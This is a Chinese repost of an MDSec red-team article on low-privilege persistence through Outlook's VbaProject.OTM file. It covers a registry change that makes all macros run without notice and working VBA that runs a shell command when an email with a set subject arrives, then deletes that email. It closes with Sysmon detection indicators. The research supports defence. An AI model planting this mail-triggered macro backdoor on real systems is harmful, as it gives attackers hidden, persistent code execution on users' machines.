基于Outlook邮件的低权限持久化方法

admin 2021年4月25日07:35:37评论63 views字数 3443阅读11分28秒阅读模式

基于Outlook邮件的低权限持久化方法

基于Outlook邮件的低权限持久化方法
0x00 概述

使用低权限用户在用户空间建立持久化的技术往往非常有价值,因为这样的场景远远多于权限提升的场景。因此,我们持续研究了一些未被广泛记录、可能不会被蓝队监测到的新技术。在去年,我们发表过3篇持久化相关的文章,而在这篇文章中,我们继续讨论持久化技术,重点分析我们近期发现的Outlook持久化技术。到目前为止,这项技术还没有被太多的蓝队所关注。

此前,已经有多位研究人员针对基于Outlook的持久化这个话题进行了研究,包括Dave Hartley和Nick Landers,他们详细介绍了如何使用Outlook规则来实现持久化。

在本文中,我们将重点介绍使用Outlook的VbsProject.OTM文件来达到与之相近的效果。尽管该技术还没有流传太广,但Cobalt Kitty此前已经将其用于命令和控制通道。

基于Outlook邮件的低权限持久化方法
0x01 分析

与大多数Microsoft Office产品套件一样,Outlook可以启用“开发人员”选项卡,并通过VB编辑器创建基于VBA的宏。我们打开编辑器,创建一个简单的宏,可以找到一个名为“ThisOutlookSession”的Outlook特定模块。

基于Outlook邮件的低权限持久化方法

在保存宏后,Outlook会在%APPDATA%RoamingMicrosoftOutlook目录下创建VbaProject.OTM文件。

基于Outlook邮件的低权限持久化方法

但是,如果我们尝试以默认配置来执行宏,会出现失败提示,因为默认配置被设定为“为有数字签名的宏提供通知,禁用所有其他宏”。

但是,我们可以通过使用以下值来创建Security注册表项,以修改这项配置。

基于Outlook邮件的低权限持久化方法

在宏安全性配置中,Level值定义如下:

4 = 不提供通知,禁用所有宏

3 = 为有数字签名的宏提供通知,禁用所有其他宏

2 = 为所有宏提供通知

1 = 启用所有宏

要允许宏在不通知用户的情况下以隐蔽方式运行,我们可能需要设置Level值为1,在操作期间启用所有宏。

检查VbaProject.OTM文件,我们发现它是标准的Microsoft复合文档文件(CDF):

dmc@deathstar ~ 

VbaProject.OTM: Composite Document File V2 Document, Cannot read section info

使用oledump.py对其进行进一步分析,可以发现其中包含宏代码的OLE流:

dmc@deathstar ~  ✗ python oledump.py ~/VbaProject.OTM

  1:        43 'OutlookProjectData'

  2:       388 'OutlookVbaData/PROJECT'

  3:        59 'OutlookVbaData/PROJECTwm'

  4: M    6156 'OutlookVbaData/VBA/ThisOutlookSession'

  5:      2663 'OutlookVbaData/VBA/_VBA_PROJECT'

  6:       497 'OutlookVbaData/VBA/dir'

至此,我们现在知道了VbaProject.OTM是启用OLE宏的标准文档,因此创建、混淆、清除(Purging)、重载(Stomping)这些文件的传统工具和技术仍然适用。当我们将其投递到磁盘上时,可能需要确保其静态安全性。

接下来,让我们来深入研究,如何将其作为武器化的持久化工具。

基于Outlook邮件的低权限持久化方法
0x02 武器化

为了让VBA代码执行更有意义,代码需要作为事件的结果来执行。ThisOutlookSession模块允许我们订阅Outlook中的多种不同事件,这将导致有不同的机会来实现代码执行。

这里讨论的是持久化方式,可能会涉及到由用户驱动的某些事件(例如:打开Outlook)或由攻击者决定的某些事件(例如:接收到特定邮件)。在这里,我们将重点讨论后者,并说明如何利用带有特定主题的邮件实现任意VBA执行。

为了确定何时收到新的邮件,我们可以通过在Outlook启动时首先订阅默认收件箱的事件来实现,具体使用以下方法。首先,在注册事件时,为默认收件箱文件夹(olInboxItems)设置变量。

Option Explicit

Private WithEvents olInboxItems As Items

Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub

然后,利用用户对收件箱的引用,我们可以借助“ItemAdd”回调函数在收到新邮件时接收事件:

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

End Sub

具体而言,我们只对接收到的电子邮件感兴趣,因此可以对回调再做一下优化,使其仅在接收到新邮件时触发。可以通过验证条目,确认其类型是否为“MailItem”来实现这一点。

Private Sub olInboxItems_ItemAdd(ByVal Item As Object) 

    If TypeOf Item Is MailItem Then

        MsgBox "You have mail"

    End If

End Sub

当然,我们不想每收到一封邮件就执行一次,因此可以使用特定的条件判断,包括发件人地址、主题、正文内容等过滤接收到的邮件。在这里,对上述代码进行扩展,当收到特定主题(MailItem.Subject)的邮件时,执行代码,随后使用MailItem.Delete方法删除电子邮件。

Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

将上述代码组合在一起,最终弹出计算器。

Option Explicit


Private WithEvents olInboxItems As Items


Private Sub Application_Startup()

    Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).Items

End Sub


Private Sub olInboxItems_ItemAdd(ByVal Item As Object)

    On Error Resume Next

    Dim olMailItem As MailItem

    If TypeOf Item Is MailItem Then

       If InStr(olMailItem.Subject, "MDSec") > 0 Then

            MsgBox "Hack The Planet"

            Shell "calc.exe"

            olMailItem.Delete

        End If

    End If

    Set Item = Nothing

    Set olMailItem = Nothing

End Sub

演示视频:https://vimeo.com/482370663

弹出计算器只是概念证明,实际上可以利用武器化的方式生成一个Beacon,具体的实现方式留给各位读者尝试。

演示视频:https://vimeo.com/482376266

基于Outlook邮件的低权限持久化方法
0x03 检测

从终端安全的角度,可以通过以下两个关键指标检测该技术:

1、监测%APPDATA%RoamingMicrosoftOutlookVbaProject.OTM文件的创建、修改事件(Sysmon事件ID 11);

2、监测注册表HKEY_CURRENT_USERSoftwareMicrosoftOffice16.0OutlookSecurity键和Level值的创建、修改事件(Sysmon事件ID 12)。

这篇文章由Dominic Chell撰写。

参考及来源:https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/

基于Outlook邮件的低权限持久化方法

基于Outlook邮件的低权限持久化方法

本文始发于微信公众号(嘶吼专业版):基于Outlook邮件的低权限持久化方法

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月25日07:35:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于Outlook邮件的低权限持久化方法https://cn-sec.com/archives/213126.html

发表评论

匿名网友 填写信息